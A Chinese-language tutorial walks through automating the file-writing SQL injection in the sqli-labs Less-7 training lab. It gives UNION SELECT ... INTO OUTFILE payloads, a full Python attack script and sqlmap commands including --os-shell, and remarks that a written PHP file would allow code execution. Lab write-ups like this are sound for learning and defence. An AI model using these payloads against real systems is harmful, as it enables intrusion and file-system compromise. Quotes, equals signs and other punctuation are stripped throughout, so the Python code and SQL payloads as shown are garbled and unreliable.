sqli-labs 这个靶场我前后刷过不止一遍。前六关玩的是“读”——把数据库里的数据通过报错、盲注或者联合查询带回页面到了 Less-7画风突然变了注入点不再把结果直接回显在页面上页面只会提示一句“You are in... Use outfile”。这其实是在暗示这一关的玩法是往服务器上写文件而不是读数据。很多初学者在这一关卡住主要原因是还在用前几关的思维去测回显结果很懵。这篇文章就针对 Less-7 的自动化注入方法展开从闭合判断、列数探测、文件写入条件检查到最终用 Python 脚本和 sqlmap 实现自动化的完整链路都讲一遍。内容会兼顾手工思路和自动化实现适合刚把 SQL 注入基础概念过完、开始在靶场上动手的人也适合准备把测试过程脚本化的安全学习者。1. 为什么 Less-7 是 SQL 注入从“读”到“写”的分水岭Less-1 到 Less-4 是典型的回显注入联合查询的结果直接出现在页面里所以手工测试时只要盯着响应看有没有多出来的列就行。Less-5 和 Less-6 开始进入盲注页面没有直接的回显点只能靠页面是否正常、响应时间是否变化来做判断。到了 Less-7连盲注的“信号”都变弱了它把数据出口从 HTTP 响应换成了服务器文件系统。打开 Less-7 的源码目标 SQL 基本长这样$sqlSELECT * FROM users WHERE id($id) LIMIT 0,1;注意这里id被一对单引号和一对括号包裹闭合方式不是简单的一个单引号而是))。这个细节是后面所有自动化脚本的起点。MySQL 的into outfile可以把查询结果写入服务器本地文件Less-7 的设计正是基于这个能力让注入点把查询结果写到 Web 目录下从而获得文件写入能力。为什么说这一关是分水岭因为前六关的核心目标是“数据泄露”本质是读Less-7 之后目标是“文件写入”本质是写。数据泄露只能影响数据库层面的信息而文件写入一旦落到 Web 根目录就可能演变成命令执行、内网横向移动的入口。这个转变意味着攻击面从数据库扩展到了整个 Web 服务。对防御者来说理解这种“写文件型注入”的触发条件是在代码审计和日志排查中识别同类问题的基础。1.1 一个“不回显”的注入点手工玩法有多折磨我最早手动刷这一关时最大的感受是根本不知道 payload 到底起没起作用。访问?id1页面显示正常输入?id1页面报错但不会像 Less-1 那样把 SQL 错误原样打印出来输入?id1))--页面又恢复正常。整个过程像在猜谜。更难受的是当你尝试用union select ... into outfile写文件时浏览器里看不到任何写入成功的提示你必须放下终端跑到服务器的 Web 目录里去翻有没有生成文件。如果本地靶场找文件还算方便换到真实测试环境每验证一次都要反复确认路径、权限和文件内容。这种“信息少、步骤多、要反复试”的场景正是脚本自动化的经典适用场景。人工最多试三五个 payload 就不想折腾了脚本可以在一秒内把闭合符、列数、路径变量全部跑一遍并且每一步都有输出。1.2 从 union select 读到 into outfile 写思路转变在哪回顾 Less-1 的联合注入流程判断闭合、判断列数、用union select把目标数据拼到查询结果里回显到页面。Less-7 的前两步完全一致——仍然要判断闭合和列数但是第三步的落点从“页面回显”换成了“文件系统”。into outfile的语法是SELECT 1,2,3 INTO OUTFILE /var/www/html/test.txt它会把查询结果写入指定路径的文件。配合联合注入payload 可以写成1)) UNION SELECT 1,2,3 INTO OUTFILE /var/www/html/sqli-labs/Less-7/test.txt#执行后服务器上会多出一个test.txt文件文件内容就是查询结果中的字段值。如果能把这个文件写成 PHP 等可执行脚本且放在 Web 目录下访问它就能执行代码。这一关考的不是你是不是会写 SQL而是你能不能把一个手工过程抽象成一组可重复的步骤。2. 自动化前的环境侦察闭合、列数和可写目录自动化的前提是把手工步骤拆成明确的参数。Less-7 的注入流程拆开就三件事确定闭合方式、确定列数、确定文件写入路径。这三件事不搞清楚脚本跑得再快也是白搭。2.1 闭合符探测为什么最终落在))在写自动化脚本之前至少要知道目标 SQL 的包裹结构。手工探测闭合符的思路很简单往 id 参数后面依次拼接不同的闭合字符观察页面变化。比如在 Less-7 里依次测试?id1 - SQL 报错或页面异常 ?id1# - 仍异常因为括号没闭合 ?id1)# - 仍异常因为还有一层括号 ?id1))# - 页面恢复“You are in... Use outfile”当))出现后页面恢复说明 SQL 语句成功闭合且注释符把后面的LIMIT 0,1等代码屏蔽掉了。这里我用的是#注释符不是教程里常见的--原因后面脚本部分会细讲。自动化脚本可以把候选闭合符做成一个列表遍历发送请求用“页面是否出现正常特征”作为判断条件第一个命中就直接返回。2.2 列数判断order by 与 union select 的对应关系闭合符确定后第二步是确认当前查询返回几列。手工判断用的是order by?id1)) ORDER BY 1# - 正常 ?id1)) ORDER BY 2# - 正常 ?id1)) ORDER BY 3# - 正常 ?id1)) ORDER BY 4# - 报错当order by 4报错时说明当前查询只有 3 列。自动化脚本可以写一个循环从 1 开始递增检测到首个页面异常就返回n-1。Less-7 的查询结果是 3 列所以后面的union select必须写成union select 1,2,3字段数量不一致时into outfile会因为子查询列数不匹配而失败。2.3 文件写入前置条件secure_file_priv 与目录权限这一步是 Less-7 的隐藏门槛。即使闭合和列数全对into outfile也不一定能写成功因为 MySQL 还有一道安全开关secure_file_priv。secure_file_priv的取值有三种情况取值含义NULL禁止任何 outfile / load_file 操作空字符串不限制导入导出路径指定目录只允许在该目录下执行导入导出在 MySQL 5.6 及以上版本默认往往是 NULL也就是说直接禁用。如果你在 Less-7 里构造了完全正确的 payload却收到类似Cant create/write to file的报错八成是这道开关在拦。怎么自动化验证思路是构造这样一个 payload把secure_file_priv的值直接写进一个标记文件1)) UNION SELECT 1,2,secure_file_priv INTO OUTFILE /var/www/html/sqli-labs/Less-7/priv.txt#然后访问priv.txt看里面是不是有值。如果文件能正常生成说明 outfile 通道是通的如果报错就先处理secure_file_priv再回来跑自动化。另外还要确认 Web 目录的绝对路径。sqli-labs 在 Windows 集成环境下通常位于WWW目录下在 Linux Apache 环境下通常是/var/www/html/sqli-labs/Less-7。自动化脚本里建议把路径做成常量方便一处修改、全局生效。3. 手写 Python 自动化脚本的思路与完整实现我始终觉得sqlmap 很强但自己写一遍自动化脚本更有价值。原因有两个第一写脚本的过程逼迫你完整理解漏洞触发的每个环节第二真实场景里经常遇到 WAF、参数过滤、特殊闭合sqlmap 遇到这些情况往往会卡住那时手写脚本反而更灵活。3.1 脚本骨架把“手工会做的事”翻译成参数写脚本之前先列一下这个自动化脚本的输入和输出。输入目标 URL 和注入参数名Web 根目录的绝对路径要写入的验证内容我建议先用纯文本标记HTTP 超时、重试次数等基础设置处理步骤探测闭合符探测列数生成union select ... into outfilepayload发送写入请求访问目标文件验证是否写入成功整体脚本用 Python 的requests库就可以不需要别的重量级依赖。3.2 核心函数与 payload 构造细节这里给出一份可以运行的参考脚本。注意我在注释符上选了#并且在发送前对参数做了 URL 编码这样比--更不容易被浏览器和服务端解析坑到。import requests from urllib.parse import quote BASE http://127.0.0.1/sqli-labs/Less-7/ OUTFILE /var/www/html/sqli-labs/Less-7/less7.txt CHECK_URL http://127.0.0.1/sqli-labs/Less-7/less7.txt CLOSURES [, \, ), \), )), \))] def send_param(value): url BASE ?id quote(value, safe) try: r requests.get(url, timeout10) return r.text except requests.RequestException as e: print(f[!] 请求失败: {e}) return def probe_closure(): for c in CLOSURES: text send_param(f1{c}#) if You are in in text: print(f[*] 闭合符: {c}) return c raise SystemExit([-] 未找到可用闭合符) def detect_columns(closure): for n in range(1, 11): text send_param(f1{closure} ORDER BY {n}#) if You are in not in text: print(f[*] 列数: {n - 1}) return n - 1 raise SystemExit([-] 未探测到列数) def build_payload(closure, columns, outfile, content): # 内容转 hex避免单引号或特殊字符干扰 SQL 语句 hex_data content.encode(utf-8).hex() fields [0x hex_data] [1] * (columns - 1) select_part ,.join(fields) return f1{closure} UNION SELECT {select_part} INTO OUTFILE {outfile}# def verify_write(url): try: r requests.get(url, timeout10) return r.status_code 200, r.text except requests.RequestException: return False, def main(): closure probe_closure() columns detect_columns(closure) marker sqli-labs-less7-writable payload build_payload(closure, columns, OUTFILE, marker) send_param(payload) ok, text verify_write(CHECK_URL) if ok: print(f[] 写入验证成功文件内容: {text.strip()}) else: print([-] 写入验证失败请检查 secure_file_priv 与路径权限) if __name__ __main__: main()这个脚本的核心逻辑是build_payload函数。写入内容被转成十六进制字符串以0x...的形式放到union select的第一个字段里。为什么这样做因为 outfile 后面的路径要用单引号包裹如果写入内容本身也包含单引号整个 SQL 语句很容易被提前闭合。转成 hex 之后内容里的所有字符都不会与 SQL 语法产生冲突这是写文件型注入里非常实用的一个小技巧。columns参数控制union select的字段数量。Less-7 是 3 列所以生成的 payload 形如1)) UNION SELECT 0x7371696c...,1,1 INTO OUTFILE /var/www/html/sqli-labs/Less-7/less7.txt#服务器写入的文件内容就是0x十六进制串解码后的原始字节。用less7.txt做标记文件的好处是验证起来非常直接——访问它、看内容、对比字符串不需要考虑代码是否被执行。3.3 脚本运行结果与调试细节我实际跑下来脚本输出大概是这样的[*] 闭合符: )) [*] 列数: 3 [] 写入验证成功文件内容: sqli-labs-less7-writable如果第一步就报“未找到可用闭合符”先别急着改脚本大概率是目标环境的页面特征不是You are in或者目标被加了一层过滤。把send_param里的 Response 打出来或者换一个特征字符串作为判断标志比盲目改闭合列表高效得多。还有一个细节requests 在构造 URL 时会保留部分字符所以我用quote(value, safe)手动编码了参数值。这样处理之后单引号、空格、#都能正确传到服务端。如果你直接在requests.get里拼完整 URL#可能会被当成 URL 片段导致 payload 后半截丢失这是新手最容易踩的坑。4. 用 sqlmap 快速落地一条命令搞定的另一种自动化手写脚本最大的价值是理解原理但日常测试里sqlmap 依然是最快的落地工具。下面说说针对 Less-7 怎么用 sqlmap 实现自动化以及为什么我建议按“先探测、再读文件、再写文件”的顺序来。4.1 从探测到写文件sqlmap 参数怎么配第一步基础探测。用--batch让所有交互自动采用默认值避免 sqlmap 中途弹一堆问题而你没在终端前守着sqlmap -u http://127.0.0.1/sqli-labs/Less-7/?id1 --batch --level3 --risk3--level3和--risk3的作用是提升测试深度和风险级别让 sqlmap 尝试更多注入向量。对本地靶场来说这个组合通常能很快识别出注入点。第二步确认 Web 绝对路径。sqlmap 的--file-read可以读取服务器上的文件。如果知道目标文件路径比如先读index.phpsqlmap -u http://127.0.0.1/sqli-labs/Less-7/?id1 --file-read/var/www/html/sqli-labs/Less-7/index.php --batch这一步本质上是验证两件事一是数据库当前用户是否有读取权限二是你猜测的绝对路径是否正确。如果文件能读出来说明路径没问题读不到就换路径再试。第三步写文件。假设本地准备了一个test.txt内容是sqlmap-write-testsqlmap -u http://127.0.0.1/sqli-labs/Less-7/?id1 --file-write/tmp/test.txt --file-dest/var/www/html/sqli-labs/Less-7/test.txt --batch写完以后直接访问http://127.0.0.1/sqli-labs/Less-7/test.txt看内容是否和本地一致。如果一致说明整条 outfile 链路已经被 sqlmap 打通了。4.2 --os-shell 与 --file-write 的取舍与坑sqlmap 还提供了--os-shell参数可以自动尝试上传一个用于命令交互的脚本并在 MySQL 允许导入输出的前提下直接获取一个操作系统命令交互环境。命令很短sqlmap -u http://127.0.0.1/sqli-labs/Less-7/?id1 --os-shell --batch这个参数在 sqli-labs 这种本地靶场里通常很顺利但它有一个前提sqlmap 需要知道 Web 绝对路径和 Web 语言。如果它识别不了会进入交互式提问--batch模式下又可能因为它猜错路径而失败。我的建议是如果你已经写好了文件内容就优先用--file-write而不是--os-shell。--file-write更可控你知道自己写的是什么、写到哪里--os-shell虽然看起来一步到位但它的自动化程度越高越依赖环境猜得准不准。真实环境里能拿到一个稳定的文件写入点比拿一个脆弱的交互 shell 重要得多。另外需要注意sqlmap 的文件读写功能依赖 MySQL 的FILE权限。在 sqli-labs 里数据库连接通常是高权限账户所以能成功真实环境的低权限用户可能没有FILE权限--file-read和--file-write会直接报错。5. 自动化写文件后的验证与常见翻车现场自动化脚本写完不是结束验证与调错才是大头。我把这一关里遇到过的翻车现场按频率排了个序基本覆盖了大多数人会踩的坑。5.1 确定性验证文件标记与 HTTP 状态码自动化脚本里不要只发送 payload 就完事一定要有验证步骤。最简单的验证方式是写入一个内容唯一的文本标记再访问对应 URL把响应体拉回来对比字符串。前面脚本里的verify_write干的就是这件事先访问CHECK_URL检查 HTTP 状态码是否为 200再判断响应体里是否包含marker。为什么不用 HTTP 状态码单独当判断条件因为有些 Web 服务对不存在的文件会返回 200或者对写入失败也返回 200单看状态码不靠谱。把状态码和内容放到一起判断误判率会低很多。5.2 六种常见翻车原因与排查思路现象可能原因处理方向页面提示 Cant create/write to file目录不可写或路径不存在换可写目录、确认路径、检查 secure_file_privMySQL error 1290secure_file_priv 限制调整 MySQL 配置或把文件写到允许目录写入成功但访问 404写入了错误目录重新确认 Web 绝对路径文件存在但内容为空union select 字段顺序不对调整字段内容确认内容在第一个字段所有 payload 都报语法错误闭合符判断错误重新探测闭合注意括号层级SQL 语句被截断URL 中 # 没编码使用%23或改用 quote 编码这里特别说下secure_file_priv。很多本地靶场默认装的 MySQL 版本不一样有的开箱就能写文件有的必须手动改配置。如果你在 Less-7 里发现 outfile 一直失败先不要怀疑 payload 构造优先查一下数据库当前环境的secure_file_priv值SHOW VARIABLES LIKE secure_file_priv;或者在注入点里尝试把它读出来1)) UNION SELECT 1,2,secure_file_priv INTO OUTFILE /var/www/html/sqli-labs/Less-7/priv.txt#如果读出来是 NULL说明是 MySQL 配置层面关掉了文件导入导出这也提醒我们即使注入点存在防御者仍然可以在数据库层面对文件写入做足够的限制这是纵深防御里很值得参考的一环。5.3 从 Less-7 带走的通用自动化模型Less-7 这套流程本质上可以归纳成“三步自动化”探测、写入、验证。探测负责把目标参数摸清楚写入负责把内容送到目标位置验证负责确认结果。这个模型不只在 sqli-labs 有效其他写文件型注入、甚至很多 API 接口的自动化测试都可以按这个框架来拆。写文件型注入的自动化核心是把每个环节都变成可观测的。所谓可观测就是每一步都有明确输出闭合符是什么、列数是几、文件有没有生成、内容是否匹配。只要这几件事在脚本里被清晰地记录和判断就算目标环境换了路径、换了闭合也只是改几个常量的事。我在实际使用中还有一个体会自动化脚本的路径、内容、验证 URL 最好拆成配置文件或常量不要散落在代码里。因为这种脚本往往要在多个环境里反复跑每换一个环境改动越小出错的概率就越低。Less-7 只是把这一整套思路浓缩在了一个靶场里吃透它之后后面再遇到类似的注入场景你大概会下意识地先问自己三个问题闭合是什么能写哪个目录写完了怎么验证这三个问题能在脚本里回答出来这个点的自动化就算真正落地了。